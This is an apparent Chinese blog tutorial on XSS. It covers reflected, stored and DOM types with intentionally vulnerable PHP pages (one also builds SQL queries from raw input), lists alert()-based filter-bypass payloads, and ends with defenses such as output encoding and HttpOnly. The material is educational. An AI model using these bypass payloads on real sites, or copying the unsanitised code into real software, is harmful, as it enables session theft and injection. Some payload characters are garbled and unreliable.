这是做者的系列网络安全自学教程,主要是关于网安工具和实践操做的在线笔记,特分享出来与博友共勉,但愿您们喜欢,一块儿进步。前文分享了Python弱口令攻击、自定义字典生成,并构建了Web目录扫描器;本文将详细讲解XSS跨站脚本攻击,从原理、示例、危害到三种常见类型(反射型、存储型、DOM型),并结合代码示例进行详细讲解,最后分享了如何预防XSS攻击。本文参考了爱春秋ADO老师的课程内容,这里也推荐你们观看他Bilibili和ichunqiu的课程,同时也结合了做者以前的编程经验进行讲解。javascript
做者做为网络安全的小白,分享一些自学基础教程给你们,但愿大家喜欢。同时,更但愿你能与我一块儿操做深刻进步,后续也将深刻学习网络安全和系统安全知识并分享相关实验。总之,但愿该系列文章对博友有所帮助,写文不容易,大神请飘过,不喜勿喷,谢谢!php
下载地址:https://github.com/eastmountyxz/NetworkSecuritySelf-study
百度网盘:https://pan.baidu.com/s/1dsunH8EmOB_tlHYXXguOeA 提取码:izebcss
前文学习:
[网络安全自学篇] 一.入门笔记之看雪Web安全学习及异或解密示例
[网络安全自学篇] 二.Chrome浏览器保留密码功能渗透解析及登陆加密入门笔记
[网络安全自学篇] 三.Burp Suite工具安装配置、Proxy基础用法及暴库示例
[网络安全自学篇] 四.实验吧CTF实战之WEB渗透和隐写术解密
[网络安全自学篇] 五.IDA Pro反汇编工具初识及逆向工程解密实战
[网络安全自学篇] 六.OllyDbg动态分析工具基础用法及Crakeme逆向破解
[网络安全自学篇] 七.快手视频下载之Chrome浏览器Network分析及Python爬虫探讨
[网络安全自学篇] 八.Web漏洞及端口扫描之Nmap、ThreatScan和DirBuster工具
[网络安全自学篇] 九.社会工程学之基础概念、IP获取、IP物理定位、文件属性
[网络安全自学篇] 十.论文之基于机器学习算法的主机恶意代码
[网络安全自学篇] 十一.虚拟机VMware+Kali安装入门及Sqlmap基本用法
[网络安全自学篇] 十二.Wireshark安装入门及抓取网站用户名密码(一)
[网络安全自学篇] 十三.Wireshark抓包原理(ARP劫持、MAC泛洪)及数据流追踪和图像抓取(二)
[网络安全自学篇] 十四.Python攻防之基础常识、正则表达式、Web编程和套接字通讯(一)
[网络安全自学篇] 十五.Python攻防之多线程、C段扫描和数据库编程(二)
[网络安全自学篇] 十六.Python攻防之弱口令、自定义字典生成及网站暴库防御
[网络安全自学篇] 十七.Python攻防之构建Web目录扫描器及ip代理池(四)html
前文欣赏:
[渗透&攻防] 一.从数据库原理学习网络攻防及防止SQL注入
[渗透&攻防] 二.SQL MAP工具从零解读数据库及基础用法
[渗透&攻防] 三.数据库之差别备份及Caidao利器
[渗透&攻防] 四.详解MySQL数据库攻防及Fiddler神器分析数据包前端
参考文献的书籍和文章都比较好,他们都是网络安全大牛和大佬的成果,强烈推荐博友们阅读,也参考了较少的图片,如侵立删。java
《安全之路Web渗透技术及实战案例解析》陈小兵老师
《XSS跨站脚本攻击剖析与防护》 邱永华老师
《TCP/IP协议栈详解卷一》 W.Richard Stevens
江苏君立华域公司的XSS普及PPT
2019 Python黑客编程:安全工具开发 - bilibili 白帽黑客教程
XSS(跨站脚本攻击)详解 - CSDN谢公子大佬(推荐)
Bilibili 2018小迪老师渗透专题视频 XSS跨站(推荐)
安全客 测试WAF来学习XSS姿式 - 誮訫尐羅卟老师系列mysql
看雪论坛文章:
浅析WEB安全编程:https://bbs.pediy.com/thread-222922.htm
XSS跨站总结:https://bbs.pediy.com/thread-196518.htm
勒索病毒WannaCry深度技术分析:https://bbs.pediy.com/thread-217662.htm
Web基础设施知识及安全攻防:https://bbs.pediy.com/thread-199199.htm
内网渗透小记:https://bbs.pediy.com/thread-192778.htmgit
声明:本人坚定反对利用教学方法进行犯罪的行为,一切犯罪行为必将受到严惩,绿色网络须要咱们共同维护,更推荐你们了解它们背后的原理,更好地进行防御。github
跨网站脚本(Cross-site scripting,XSS) 又称为跨站脚本攻击,是一种常常出如今Web应用程序的安全漏洞攻击,也是代码注入的一种。XSS是因为Web应用程序对用户的输入过滤不足而产生的,攻击者利用网站漏洞把恶意的脚本代码注入到网页之中,当其余用户浏览这些网页时,就会执行其中的恶意代码,对受害者用户可能采起Cookie窃取、会话劫持、钓鱼欺骗等各类攻击。这类攻击一般包含了HTML以及用户端脚本语言。web
XSS攻击一般指的是经过利用网页开发时留下的漏洞,经过巧妙的方法注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序。这些恶意网页程序一般是JavaScript,但实际上也能够包括Java、VBScript、ActiveX、 Flash或者甚至是普通的HTML。攻击成功后,攻击者可能获得更高的权限(如执行一些操做)、私密网页内容、会话和cookie等各类内容。
漏洞成因
以下图所示,在URL中将搜索关键字设置为JS代码,执行了alert()函数。该图中,上面有一个URL,下面是一个页面返回的HTML代码,咱们能够看到白色部分HTML是咱们事先定义好的,黑色部分参数是用户想搜索的关键词。当咱们搜索了test+Div最后等于123,后台反馈页面的搜索引擎会告诉用户搜索了什么关键词,结果如何等等。
这个地方若是没有作好转移,可能会形成XSS跨站,咱们能够看到蓝色部分是咱们事先定义好的结构,被攻击者利用以后它先把这个DIV结束了,最后加上一个script标签,它也有可能不跟你谈标签,直接发送到它的服务器上。参数未通过安全过滤,而后恶意脚本被放到网页中执行,用户浏览的时候就会执行了这个脚本。
该漏洞存在的主要缘由为:
做者接下来使用WAMP(Windows+Apache+MySQL+PHP)搭建PHP网站平台做,简单讲解两个常见案例。
示例1:GET提交
下面是一个简单的XSS漏洞代码(xss-01.php)。
<?php echo "这是一个XSS漏洞攻击测试页面!<br />"; $xss = $_GET['x']; echo $xss; //JS代码:<script>alert(1)</script> ?>
当输入正确的值时,网页能正常显示。
http://localhost/xss/xss-01.php?x=122
输出结果以下图所示:
而当咱们输入JS脚本代码时,它会弹出相应的窗口,这就是一个XSS注入点。
http://localhost/xss/xss-01.php?x=<script>alert(1)</script>
示例2:POST提交
另外一种常见的XSS上传漏洞代码以下所示:
index.html
<html> <head><title>XSS测试1</title></head> <body> <form action='xss.php' method="get"> 请输入用户名:<br> <input type="text" name="name" value="" /> <input type="submit" name="提交" /> </form> </body> </html>
xss.php
<html> <head> <title>测试结果</title> </head> <body> <?php echo $_REQUEST['name']; ?> </body> </html>
输入正确的用户名如“eastmount”,仍然能正确显示。
而输入脚本代码 < script>alert(1)< /script> 时,它弹出了对应的脚本窗口,存在XSS注入漏洞。注意,这里采用的是POST方法提交数据,而前面采用的GET方法,其最主要的区别是GET方式的网址能够看到参数,而POST方式URL始终不变。
页面直接弹出了“1“”的窗口,能够看到,咱们插入的语句已经被页面给执行了。这就是最基本的反射型的XSS漏洞,这种漏洞数据流向是: 前端–>后端–>前端。
XSS跨脚本攻击主要的危害以下:
PS:上面涉及的不少内容,做者会进一步学习,并分享相关的内容,一块儿进步 ,一块儿加油!
XSS有部分书籍将它划分为两类——反射型和持久型。
反射型
也称为非持久型、参数型跨站脚本。这种类型的跨站脚本是最多见,也是使用最普遍的一种,主要用于恶意脚本附加到URL地址的参数中。通常出如今输入框、URL参数处。
持久型
持久型跨站脚本也能够说是存储型跨站脚本,比反射型XSS更具威胁性,而且可能影响到Web服务器自身安全。通常出如今网站的留言、评论、博客日志等于用户交互处。
而另外一部分书籍将XSS分为三种类型——反射型、存储型以及DOM型,这也是本篇文章重点讲解的分类方式。
反射型又称为非持久型、参数型跨站脚本。这种类型的跨站脚本是最多见,也是使用最普遍的一种,主要用于恶意脚本附加到URL地址的参数中。它须要欺骗用户本身去点击连接才能触发XSS代码(服务器中没有这样的页面和内容),通常容易出如今搜索页面、输入框、URL参数处。反射型XSS大多数是用来盗取用户的Cookie信息。其攻击流程以下图所示:(该图片源自谢公子文章)
下图是专门训练一些WEB漏洞的练习页面,咱们能够输入本身的名字,输入以后会把咱们的名字显示出来。例如咱们输入了一个“张三”,这个时候弹出来了一个“123”,在那边显示了一个张三,可是script标签没有出来,由于这个标签被执行了。
示例:
这就是最基本的反射型的XSS漏洞,这种漏洞数据流向是: 前端–>后端–>前端。其代码案例如前面所述:
//前端页面 index.html <html> <head><title>XSS测试1</title></head> <body> <form action='xss.php' method="get"> 请输入用户名:<br> <input type="text" name="name" value="" /> <input type="submit" name="提交" /> </form> </body> </html> //后端页面 xss.php <?php $name = $_POST['name']; echo $name; ?>
当用户提交数据,输入 < script>alert(‘hack’)< /script> 代码会提交给后台,并弹出hack页面,这就表示咱们的恶意语句被页面执行了。
存储型XSS又称为持久型跨站脚本,比反射型XSS更具威胁性,而且可能影响到Web服务器自身安全。它的代码是存储在服务器中的,如在我的信息或发表文章等地方,插入代码,若是没有过滤或过滤不严,那么这些代码将储存到服务器中,用户访问该页面的时候触发代码执行。存储型XSS通常出如今、评论、博客日志等于用户交互处,这种XSS比较危险,容易形成蠕虫、盗窃cookie等。其攻击流程以下图所示:(该图片源自谢公子文章)
在存储型XSS中,能够看到这个URL上面并无代码,可是依然弹出了一个“1”。它是发现我的资料页的时候有一个XSS漏洞,在个性签名的位置填入了一个XSS标签,弹出了一个“1”,把这个地址发给别人,别人看到这个地址并无什么代码觉得这个页面是安全的,结果一打开就插入了这个XSS代码。
存储型XSS的攻击危害比较大,由于它的页面当中是看不到这个Script的代码,别人防不胜防。只要管理员没有发现,下一个用户或者下一个用户一直接发它,而反射型须要用户主动点击的。
示例:
假设如今存在一个 index2.html 代码,用户提交ID和用户名并存储至数据库中。
<html> <head><title>XSS测试2</title></head> <body> 欢迎你们阅读CSDN Eastmount的博客,一块儿进步,一块儿加油喔!<br /> <form action='xss2.php' method="post"> 请输入用户名:<br> ID:<input type="text" name="id" value="" /> <br /> Name:<input type="text" name="name" value="" /> <br /> <input type="submit" name="提交" /> </form> </body> </html>
后台的 xss2.php 将执行数据库存储操做,本地MySQL数据库建立一个名为 XSSDB的数据库,并插入一张XSS表,以下图所示。
xss2.php代码以下所示:
<?php //获取提交的表单值 $id=$_POST["id"]; $name=$_POST["name"]; echo $id,'<br />'; echo $name,'<br />'; //链接数据库 //由于PHP版本是7.3的,所以用mysqli_connect()而不是用mysql_connect() $con = mysqli_connect("localhost","root","123456", "xssdb"); if (!$con) { die('Could not connect database: ' . mysqli_error()); } //插入数据表 $sql = "insert into xss (id,name) values ('{$id}','{$name}');"; echo $sql; $result
此时另外一个页面 select.php 负责提供给其余用户访问,则能够看到咱们的信息。
<?php $id = $_GET['id']; //连接数据库 $con = mysqli_connect("localhost","root","123456", "xssdb"); //查询数据 $sql = "select * from xss where id='{$id}';"; $result = mysqli_query($con, $sql); //$data = mysqli_fetch_all($result); // 从结果集中获取全部数据 //print_r($data); while($row = mysqli_fetch_assoc($result)) { echo $row['name']; } ?>
当咱们输入正确的值,以下图所示:
id:1
name:yangxiuzhang
此时数据库中能够看到咱们插入的值。
经过本地网址(localhost:8088/xss/select.php?id=1)咱们能获取id为1对应的name值。
当咱们输入JS代码时,该程序又将如何运行呢?接着咱们插入以下数据:
id:2
name:< script>alert(‘hack’)< /script>
注意,这里的hack的单引号要进行转义,由于sql语句中的$name是单引号的,因此这里不转义的话就会闭合sql语句中的单引号,否则注入不进去。
原理:用户提交数据到后端,后端存储至数据库中,而后当其余用户访问查询页面时,后端调出数据库中的数据,显示给另外一个用户,此时的XSS代码就被执行了。
此时数据库插入的内容以下所示,能够看到JS代码已经成功插入咱们的后台。
最后,咱们调用 select.php (localhost:8088/xss/select.php?id=2)页面,能够看到成功执行了该脚本文件。
存储型XSS的数据流向为:前端–>后端–>数据库–>后端–>前端。
首先,什么是DOM呢?
DOM是指文档对象模型,是一个平台中立和语言中立的接口,有的程序和脚本能够动态访问和更新文档的内容、结构和样式。在web开发领域的技术浪潮中,DOM是开发者能用来提高用户体验的最重要的技术之一,并且几乎全部的如今浏览器都支持DOM。
DOM自己是一个表达XML文档的标准,HTML文档从浏览器角度来讲就是XML文档,有了这些技术后,就能够经过javascript轻松访问它们。下图是一个HTML源代码的DOM树结构。
其次,什么优点DOM-XSS呢?
DOM-XSS漏洞是基于文档对象模型(Document Objeet Model,DOM)的一种漏洞,不通过后端,DOM-XSS是经过url传入参数去控制触发的,其实也属于反射型XSS。
DOM型的XSS是一些有安全意识的开发者弄出来的,好比说接受参数会作一些过滤,把一些字符转义一下,可是转义以后依然会存在着XSS的状况。常见可能触发DOM-XSS的属性包括:document.referer、window.name、location、innerHTML、documen.write等。
以下图所示,咱们上面输入的能够看到这行代码规律,把这个大括号、小括号以及双页号进行转移,按理说转移以后它应该不会再做为它的标签存在,不会存在XSS的代码。
下面Script经过ID得到的这个值,复制到了这个DIV上,通过DOM操做以后,以前转义的字符就变为它的标签,因此通过DOM操做的XSS咱们称之为DOMXSS。它有可能经过URL传播,也有可能经过服务器传播。
最后,DOM型跨站脚本的攻击是如何实现呢?
下面简单讲解一个DOM-XSS代码,假设前端是一个index3.html页面。
<html> <head><title>DOM-XSS测试3</title></head> <body> 欢迎你们阅读CSDN Eastmount的博客,一块儿进步,一块儿加油喔!<br /> <form action='xss3.php' method="post"> 请输入用户名:<br> <input type="text" name="name" value="" style="width:400px" /> <br /> <input type="submit" name="提交" /> </form> </body> </html>
接着设置后台页面,xss3.php用于获取提交的值并显示其在页面中。注意,代码是获取username中的值,而后显示在print内,这也是致使XSS的缘由。
<?php //获取提交的表单值 $name=$_POST["name"]; ?> <input id="username" type="text" value="<?php echo $name; ?>"/> <div id="print"> <!-- 显示获取的内容 --> </div> <script type="text/javascript"> //获取username值并输出在print内,这里是致使xss的主要缘由 var text = document.getElementById("username"); var print = document.getElementById("print"); print.innerHTML=text.value; </script>
此时,当咱们输入正常的参数,它显示的结果以下图所示,是正常显示的。
而当咱们输入恶意代码的时候,好比提交 <img src=1 οnerrοr=alert(‘hack’) /> 给后台,它会执行咱们的JS代码,弹出hack的窗体。从而证实了DOM-XXSS是存在的。
DOM型跨站脚本漏洞的数据流向是:前端->浏览器。
在进行SQL注入中,咱们能够设置相应的过滤函数防止,好比防止万能密码(‘or’='or’或admin),也能调用preg_replace()函数将特点字符过滤。一样,XSS攻击代码也可能会被过滤,以下所示,它将< script>和 < /script>进行了过滤。
<?php $name=$_POST["name"]; if($name!=null){ //过滤<script>和</script> $name=preg_replace("/<script>/","",$name); $name=preg_replace("/<\/script>/","",$name); echo $name; } ?>
如何绕过这个过滤呢?这里能够经过大小写成功绕过 ,以下所示:
为了更好地理解XSS跨站脚本攻击,更好地进行防护,这里咱们分享常见的绕过XSS过滤(XSS-Filter)的方法。
1) 利用<>标记注射HTML、JavaScript
经过<script>标签就能任意插入由JavaScript或VBScript编写的恶意脚本代码 经常使用案例: <script>alert(/xss/)</script>
2) 利用HTML标签属性值执行XSS
经过javascript:[code]伪协议形式编写恶意脚本 经常使用案例: <table background="javascript:alert(/xss/)"></table> <img src="javascript:alert('xss');" >
3) 空格回车Tab绕过过滤
注意javas和cript之间的间隔不是由空格键添加的,而是用Tab键添加的。 <img src="javas cript:alert(/xss/)" width=100> 使用回车分隔: <img src="javas cript: alert(/xss/)" width=100>
4) 对标签属性值进行转码
<img src="javascript:alert('xss');"> 替换成: <img src="javascript:alert('xss');"> 其中,t的ASCII码值为116,用”t”表示,:则表示:。 再进一步替换: <img src="javascript:alert('xss');">
5) 产生事件如click、mouseover、load等
W3C(万维网联盟)将事件分为3种不一样的类别:
<input type="button" value="click me" onclick="alert('xss')" /> <img src="#" onerror=alert(/xss/)>
6) 利用CSS跨站过滤
常见示例以下所示:
<div style="background-image:url(javascript:alert('xss'))"> <style> body {background-image:url("javascript:alert(/xss/)");} </style> <div style="width:expression(alert('XSS'));"> <img src="#" style="xss:expression(alert(/xss/));"> <style> body {background-image: expression(alert("xss"));} </style> <div style="list-style-image:url(javascript:alert('XSS'));"> <div style="background-image:url(javascript:alert('XSS'));"> <img src=" javascript:alert('xss')"> <style> @import 'javascript:alert(/xss/)'; </style>
7) 扰乱XSS过滤规则
一个正常的XSS输入: <img src="javascript:alert(0);"> 转换大小写后的XSS: <IMG SRC="javascript:alert(0);"> 大小写混淆的XSS: <iMg sRC="JaVasCript:alert(0);"> 不用双引号,而是使用单引号的XSS: <img src='javascript:alert(0);'> 不适用引号的XSS: <img src=javascript:alert(0);> 不须要空格的XSS: <img/src="javascript:alert('xss');"> 构造不一样的全角字符: <div style="{left:expression(alert('xss'))"> 利用注释符 <div style="wid/**/th:expre/*xss*/ssion(alert('xss'));"> \和\0– <style> @imp\0ort 'java\0scri\pt:alert(/xss/)'; </style> <style> @imp\ort 'ja\0va\00sc\000ri\0000pt:alert(/xss/)'; </style> CSS关键字转码 <div style="xss:\65xpression(alert('XSS'));"> <div style="xss:\065xpression(alert('XSS'));"> <div style="xss:\0065xpression(alert('XSS'));"> <!--<img src="--><img src=x οnerrοr=alert(1)//"> <comment><img src="</comment><img src=x οnerrοr=alert(1)//"> <style><img src=“</style><img src=x onerror=alert(1)//”>
8) 利用字符编码
原始语句: <img src="javascript:alert('xss');"> 十进制编码 <img src="javascript:a& #108ert('xss');"> <img src="javascrip&# 0116;:alert('x&# 0115;s');"> <img src="javasc 4ipt:ale& #0000114t('xss� 0039);"> 十六进制编码 <img src="javascript:&# x61lert('xss');">
9) 利用字符编码eval()函数、eval()和string.fromCharCode()函数过滤
<script> eval("\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29"); </script> <img src="javascript:eval(String.fromCharCode(97,108,101,114,116,40,39,120,115,115,39,41))">
PS:因为JavaScript代码必需要写在代码块中才能显示,因此文章包含了不少代码块,望读者理解。
其余恶意攻击包括黑盒攻击测试、源代码审计、Flash XSS等。
1)黑盒攻击测试
Acunetix Web Vulnerability Scanner 是一款商业级的web漏洞扫描程序,它的功能很是强大,能够自动化检查各类web应用漏洞,包括XSS、SQL注入、代码执行、目录遍历、网站源代码暴力等。
注意:下一篇文章做者将结合AWVS详细讲解XSS跨站脚本攻击的实战案例。
黑盒攻击测试手工检测XSS代码常见用法包括:
<script>alert(/xss/)</script> <li/οnclick=alert(xss)>a</li> <img/src=x οnerrοr=alert(1)> <a href=javascript:alert(2)>M <a href=javascript:alert(13)>M <svg/οnlοad=alert(1)>
2) 源码审计
顾名思义就是检查源代码中的安全缺陷,检查程序源代码是否存在安全隐患,或者有编码不规范的地方,经过自动化工具或者人工审查的方式,对程序源代码逐条进行检查和分析,发现这些源代码缺陷引起的安全漏洞,并提供代码修订措施和建议。
例如,PHP全局变量以下所示:
3) Flash XSS
关于Flash的跨站漏洞其实很早就出现了。Flash的安全漏洞也不只仅只有XSS,还有CSRF、跨域、代码执行等其余安全问题。Flash中编程使用的是ActionScript脚本,Flash产生的xss问题主要有两种方式:加载第三方资源和与javascript通讯引起XSS。
Flash确实存在不少漏洞,后续读者也想深刻研究了解,看看能不能复现几个漏洞代码出来。同时,Flash XSS感兴趣的读者能够阅读安全脉搏大神的这篇文章:https://www.secpulse.com/archives/44299.html
因为XSS一般能够插入在script标签、HTML注释、标签属性名、标签属性值、标签名字、CSS等中,因此接下来咱们简单讲讲如何防护XSS攻击。
输入验证就是对用户提交的信息进行有效验证,仅接受指定长度范围内的,采用适当的内容提交,阻止或者忽略除此外的其余任何数据。以下代码,检查用户输入的电话号码是否真确(数字、字母检测)。
输入正确和错误分别提示。
输入验证要根据实际状况设计,下面是一些常见的检测和过滤:
大多数的Web应用程序都存在一个通病,就是会把用户输入的信息完完整整的输出在页面中,这样很容易便会产生一个XSS。HTML编码在防止XSS攻击上起到很大的做用,它主要是用对应的HTML实体编号替代字面量字符,这样作能够确保浏览器安全处理可能存在恶意字符,将其当作HTMl文档的内容而非结构加以处理。
有时根本就不须要考虑到它是否是HTML标签,咱们根本用不到HTML标签。无论是采用输入过滤仍是输出过滤,都是针对数据信息进行黑/白名单式的过滤。
不一样的javascript写法包括:
大小写混淆: <img src=JaVaScRiPt:alert(‘xss’)> 插入[tab]键; <img src=”jav ascript:alert(‘xss’);”> 插入回车符: <img src=”jav asrci pt:alert(‘xss’);”> 使用/**/注释符: <img src=”java/*xxx*/script:alert(‘xss’);”> 重复混淆关键字: <img src=”java/*/*javascript*/script/*javascript*/*/script:alert(‘xss’);”> 使用&#十六进制编码字符: <img src=”jav	ascript:alert(‘xss’);”> 使用&#十进制编码字符: <img src= javascript:alert(‘xss’);”> 使用&#十进制编码字符(加入大量的0000): <img src=”javascript:alert(‘xss’);”> 在开头插入空格: <img src=” javascript:alert(‘xss’);”>
黑名单:
过滤可能形成危害的符号及标签,发现使用者输入参数的值为 < script>xxx< /script> 就将其取代为空白。其优势是能够容许开发某些特殊HTML标签,确实是可能因过滤不干净而使攻击者绕过规则。
白名单:
白名单仅容许执行特定格式的语法,仅容许< img scr=“http://xxx” > 格式,其他格式一概取代为空白。其优势是可容许特定输入格式的HTML标签,确实是验证程序编写难度校高,且用户可输入变化减小。
因为只保留文字部分是一劳永逸的,有时咱们还须要展现这个标签,好比说程序论坛当中要贴一个代码,这个时候咱们须要用一些转义,它会把这个大括号、小括号以及双引号作一个转义,作为一个字符,就没法执行这个标签型,后面加一个参数,但有时候单引号也会形成XSS。
一个信号当中有那么多的地方存在着这个输入以及检测的地方,可能就有一些地方漏掉,只要有一个地方漏掉了,用户的cookie信息就被盗取了。服务器在发送用户信息的时候,咱们须要加上一个httponly,这个代码没法读取到cookie的信息,那么攻击者也是得不到这个信息,这对于用户来讲也是很是好的保护。
好比说张三在咱们网站上登录了一下用户名,李四他特地发了一个攻击请求,他拿不到这个用户ID,就冒充不了这个张三。若是在Cookie中设置了HttpOnly属性,那么经过js脚本将没法读取到Cookie信息,这样能有效的防止XSS攻击。
最重要的是:千万不要引入任何不可信的第三方JavaScript到页面里!
但愿这篇文章对你有所帮助,尤为是网络安全的初学者,做者写这篇文章加实验真的快吐了,哈哈!但只要对大家有帮助,我就很开心,后续会结合AWVS工具操做XSS攻击实战案例。这是Python网络攻防系列文章,做者也是初学者,并且是仰仗各位大牛的无私分享而写下的实战总结,但愿对大家有帮助。
网络安全的视频资源确实挺贵的,做者也会继续开源免费的分享更多文章和代码,但愿能帮到更多的初学者,大家的每一句感谢和祝福都激发着我前行。转眼间,1024节日要来了,我仍是写一篇《我与CSDN的这十年》,分享下程序猿和程序媛的故事,记念这十年奋斗和感动的日子。十年,说长不长,说短不短,人生进度条的八分之一,都是青春,都是热血。感谢你个人分享和坚守,也期待下一个十年。明天早起上课,下午回来写文章,加油~
2019年10月12日 晚上写于武汉
(By:Eastmount 2019-10-12 晚上10点 http://blog.csdn.net/eastmount/ )